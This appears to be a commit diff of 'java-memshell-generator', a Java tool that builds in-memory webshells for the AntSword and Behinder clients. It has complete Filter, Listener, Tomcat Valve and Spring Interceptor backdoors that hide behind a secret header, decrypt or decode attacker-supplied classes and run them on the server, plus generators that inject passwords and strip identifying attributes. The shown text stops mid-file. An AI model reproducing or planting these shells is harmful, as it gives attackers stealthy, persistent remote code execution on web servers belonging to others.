xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.9</version>
</parent>
<artifactId>jmg-all</artifactId>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-woodpecker</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-sdk</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-cli</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-gui</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>jmg.all.jMGApp</mainClass>
</manifest>
</archive>
<appendAssemblyId>false</appendAssemblyId>
<outputDirectory>../releases</outputDirectory>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
+26
View File
@@ -0,0 +1,26 @@
package jmg.all;
import jmg.core.config.Constants;
public class jMGApp {
public static void main(String[] args) throws Throwable {
if (args.length < 1) {
System.out.println("jmg usage:");
System.out.printf("1. java -jar jmg-all-%s.jar cli%n", Constants.JMG_VERSION);
System.out.printf("2. java -jar jmg-all-%s.jar gui%n", Constants.JMG_VERSION);
return;
}
switch (args[0]) {
case "gui":
jmg.gui.GUIApp.main(args);
break;
case "cli":
jmg.cli.CLIApp.main(args);
break;
default:
System.out.println("Invalid command. Please use either 'cli' or 'gui'.");
break;
}
}
}
+20
View File
@@ -0,0 +1,20 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.9</version>
</parent>
<artifactId>jmg-antsword</artifactId>
<dependencies>
<dependency>
<groupId>${parent.groupId}</groupId>
<artifactId>jmg-core</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,62 @@
package jmg.antsword.generator;
import javassist.ClassClassPath;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.generator.IShellGenerator;
import jmg.antsword.util.ShellUtil;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import jmg.core.util.ResponseUtil;
public class AntSwordGenerator implements IShellGenerator {
@Override
public void initShell(AbstractConfig config) {
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
}
@Override
public byte[] makeShell(AbstractConfig config) throws Exception {
initShell(config);
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
String shellClassName = ShellUtil.getShellClassName(shellName);
byte[] bytes = modifyShell(shellClassName, config);
config.setShellBytes(bytes);
config.setShellBytesLength(bytes.length);
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
return bytes;
}
@Override
public byte[] modifyShell(String className, AbstractConfig config) {
byte[] bytes = new byte[0];
try {
pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
CtClass ctClass = pool.getCtClass(className);
ctClass.getClassFile().setVersionToJava5();
JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
return bytes;
}
}
@@ -0,0 +1,57 @@
package jmg.antsword.memshell;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordFilter implements Filter {
public String pass;
public String headerName;
public String headerValue;
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = doBase64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
} catch (Exception var7) {
}
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,57 @@
package jmg.antsword.memshell;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordJakartaFilter implements Filter {
public String pass;
public String headerName;
public String headerValue;
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = doBase64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
} catch (Exception var7) {
}
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,80 @@
package jmg.antsword.memshell;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordJakartaListener implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
HttpServletResponse response = getResponseFromRequest(request);
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
response.flushBuffer();
} catch (Exception var7) {
}
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
}
@@ -0,0 +1,80 @@
package jmg.antsword.memshell;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordListener implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
HttpServletResponse response = getResponseFromRequest(request);
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
response.flushBuffer();
} catch (Exception var7) {
}
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
}
@@ -0,0 +1,87 @@
package jmg.antsword.memshell;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String pass;
public String headerName;
public String headerValue;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName).contains(headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
}
}else {
// 重要: 没有这一步会将目标服务器打挂
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,47 @@
package jmg.antsword.util;
import jmg.antsword.memshell.*;
import jmg.core.config.Constants;
import java.util.HashMap;
import java.util.Map;
public class ShellUtil {
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> toolMap = new HashMap();
public ShellUtil() {
}
public static String getShellName(String toolType, String shellType) {
Map<String, String> shellMap = toolMap.get(toolType);
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
}
public static String getShellClassName(String shellName) throws Exception {
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
throw new Exception("Invalid shell type '" + shellName + "'");
} else {
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
}
}
static {
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName());
Map<String, String> antSwordMap = new HashMap();
antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName());
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
}
}
+21
View File
@@ -0,0 +1,21 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.9</version>
</parent>
<artifactId>jmg-behinder</artifactId>
<dependencies>
<dependency>
<groupId>${parent.groupId}</groupId>
<artifactId>jmg-core</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,62 @@
package jmg.behinder.generator;
import javassist.ClassClassPath;
import javassist.CtClass;
import jmg.behinder.util.ShellUtil;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.generator.IShellGenerator;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import jmg.core.util.ResponseUtil;
public class BehinderGenerator implements IShellGenerator {
@Override
public void initShell(AbstractConfig config) {
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
}
@Override
public byte[] makeShell(AbstractConfig config) throws Exception {
initShell(config);
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
String shellClassName = ShellUtil.getShellClassName(shellName);
byte[] bytes = modifyShell(shellClassName, config);
config.setShellBytes(bytes);
config.setShellBytesLength(bytes.length);
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
return bytes;
}
@Override
public byte[] modifyShell(String className, AbstractConfig config) {
byte[] bytes = new byte[0];
try {
pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
CtClass ctClass = pool.getCtClass(className);
ctClass.getClassFile().setVersionToJava5();
JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
return bytes;
}
}
@@ -0,0 +1,70 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderFilter extends ClassLoader implements Filter {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderFilter() {
}
public BehinderFilter(ClassLoader c) {
super(c);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map obj = new HashMap();
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("session", session);
session.putValue("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,78 @@
package jmg.behinder.memshell;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderInterceptor(ClassLoader c) {
super(c);
}
public BehinderInterceptor() {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
session.putValue("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception e) {
}
return false;
} else {
return true;
}
}
public static byte[] b64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
}
@@ -0,0 +1,73 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaFilter extends ClassLoader implements Filter {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderJakartaFilter() {
}
public BehinderJakartaFilter(ClassLoader c) {
super(c);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map obj = new HashMap();
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("session", session);
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
// session.putValue("u", this.pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,98 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public BehinderJakartaListener() {
}
public BehinderJakartaListener(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
// session.putValue("u", pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
}
}
} catch (Exception e) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,97 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public BehinderListener() {
}
public BehinderListener(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
session.putValue("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
}
}
} catch (Exception e) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
